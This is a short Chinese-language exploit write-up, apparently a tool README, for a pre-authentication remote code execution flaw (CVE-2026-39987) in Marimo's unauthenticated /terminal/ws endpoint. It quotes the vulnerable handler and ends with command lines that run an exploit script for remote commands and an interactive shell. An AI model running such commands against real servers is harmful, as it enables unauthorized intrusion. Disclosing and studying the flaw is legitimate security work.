信息:
CVE-2026-39987 是 Marimo(0.23.0 之前的版本)中的一个严重的预认证远程代码执行(RCE)漏洞。
原理:
/terminal/ws 端点未进行任何身份验证即被暴露。
位于: marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
await websocket.accept()
# further down..
child_pid, fd = pty.fork()
如您所见,在创建 PTY shell 之前完全没有身份验证检查。
python3 CVE-2026-39987.py example.com -c 'whoami'
如果没有输出且目标使用 SSL,请使用 --max-wait 和 --any-ssl 参数。
python3 CVE-2026-39987.py example.com -c 'whoami' --any-ssl --max-wait 5
还有交互模式
python3 CVE-2026-39987.py example.com -i --any-ssl